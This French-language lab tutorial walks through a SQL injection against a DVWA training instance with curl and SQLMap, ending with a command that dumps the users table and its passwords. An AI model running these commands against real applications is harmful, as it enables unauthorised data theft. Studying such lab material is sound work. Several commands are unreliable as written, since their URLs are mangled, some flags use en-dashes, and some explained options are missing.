Présentation de l'attaque par injection
SQL sur DVWA avec SQLMap
Ce document présente l'attaque par injection SQL à l'aide de l'outil SQLMap sur une
application web vulnérable Damn Vulnerable Web Application (DVWA). Nous détaillerons
les étapes nécessaires pour exploiter la vulnérabilité d'injection SQL dans un
environnement contrôlé à l'aide de curl et SQLMap, ainsi que les commandes spécifiques
pour extraire les données.
Étape 1 : Préparation de l'environnement
Avant de commencer l'attaque, assurez-vous que DVWA est correctement configuré et en
ligne. L'application doit être accessible via l'IP de votre réseau, par exemple :
http://172.16.0.45/dvwa. Vérifiez également que le niveau de sécurité de DVWA est réglé
sur 'Low' pour faciliter l'exploitation des vulnérabilités.
Étape 2 : Vérification des cookies
L'attaque nécessite l'utilisation des cookies de session pour interagir avec DVWA. Utilisez
les outils de développement du navigateur pour obtenir le cookie 'PHPSESSID' associé à la
session de l'utilisateur. Voici comment procéder : 1. Ouvrez les outils de développement
dans votre navigateur (touche F12). 2. Allez dans l'onglet 'Storage' (ou 'Application'). 3.
Trouvez le cookie 'PHPSESSID' et notez sa valeur.
Étape 3 : Lancer l'attaque avec curl
Une fois que les cookies sont récupérés, vous pouvez envoyer une requête à l'application
avec curl pour vérifier que la page est accessible et tester la vulnérabilité d'injection SQL.
Voici la commande curl pour envoyer la requête avec les cookies :
curl "http://172.16.0.45/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie
"PHPSESSID=a594660e1c79bae451eab62271ae5ffb; security=low"
Étape 4 : Lancer l'attaque SQL avec SQLMap
Après avoir validé la vulnérabilité d'injection SQL avec curl, vous pouvez utiliser SQLMap
pour automatiser l'exploitation de la faille. Voici la commande SQLMap pour tester et
exploiter l'injection SQL :
sqlmap -u "http://172.16.0.45/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --
cookie="PHPSESSID=a594660e1c79bae451eab62271ae5ffb;security=low"
Explication des commandes SQLMap
Voici les explications détaillées des paramètres utilisés dans la commande SQLMap :
- `-u` : Cette option spécifie l'URL cible, avec les paramètres d'injection SQL (par exemple,
`id=1&Submit=Submit#`).
- `--cookie` : Permet de spécifier les cookies nécessaires pour maintenir la session active, ici
'PHPSESSID' et 'security'.
- `--risk=3` : Définit le niveau de risque de l'attaque (de 1 à 3). Un risque élevé permet à
SQLMap d'effectuer des tests plus intrusifs.
- `--level=5` : Définit le niveau de l'attaque. Plus le niveau est élevé, plus SQLMap effectuera
de tests pour détecter la vulnérabilité.
- `--batch` : Active le mode automatique pour éviter d'interagir avec l'outil (répond aux
questions par défaut).
Étape 5 : Analyser les résultats
Une fois l'attaque lancée, SQLMap va tenter d'exploiter la vulnérabilité et retourner des
informations sur la base de données. Vous pouvez analyser ces résultats pour identifier la
structure de la base de données, les tables disponibles et éventuellement les données
extraites.
Voici un extrait des résultats obtenus lors de l'attaque :
- Type de base de données (DBMS) : MySQL (version >= 4.1)
- Système d'exploitation du serveur web : Linux Ubuntu 8.04
- Base de données détectée : dvwa
- Autres bases disponibles : information_schema, mysql, metasploit, etc.
Étape 6 : Exploration des bases de données et des tables
Une fois que vous avez identifié la base de données cible (ici, `dvwa`), vous pouvez explorer
ses tables et colonnes. Voici les commandes SQLMap pour explorer les bases de données et
les tables :
1. Lister les bases de données disponibles:
sqlmap -u "http://172.16.0.45/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --
cookie="PHPSESSID=a594660e1c79bae451eab62271ae5ffb; security=low" –dbs
2. Lister les tables de la base de données `dvwa` :
sqlmap -u "http://172.16.0.45/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --
cookie="PHPSESSID=a594660e1c79bae451eab62271ae5ffb; security=low" -D dvwa –tables
3. Lister les colonnes de la table `users` dans la base `dvwa`:
sqlmap -u "http://172.16.0.45/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --
cookie="PHPSESSID=a594660e1c79bae451eab62271ae5ffb; security=low" -D dvwa -T
users –columns
Étape 7 : Extraction des données
Après avoir identifié les colonnes, vous pouvez extraire des données sensibles comme les
utilisateurs et leurs mots de passe. Voici la commande pour extraire les données de la table
`users` :
sqlmap -u "http://172.16.0.45/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --
cookie="PHPSESSID=a594660e1c79bae451eab62271ae5ffb; security=low" -D dvwa -T
users –dump
/home/kali/.local/share/sqlmap/output/172.16.0.45/dump/dvwa/
users.csv
/home/kali/.local/share/sqlmap/output/172.16.0.45/
Conclusion
L'attaque par injection SQL via SQLMap est un processus automatisé qui permet de détecter
et d'exploiter les failles de sécurité dans une application web. Il est essentiel de n'effectuer
ces tests que dans des environnements autorisés et sécurisés. Dans le cas de DVWA, ces
tests sont effectués pour des fins éducatives et dans un environnement de test contrôlé.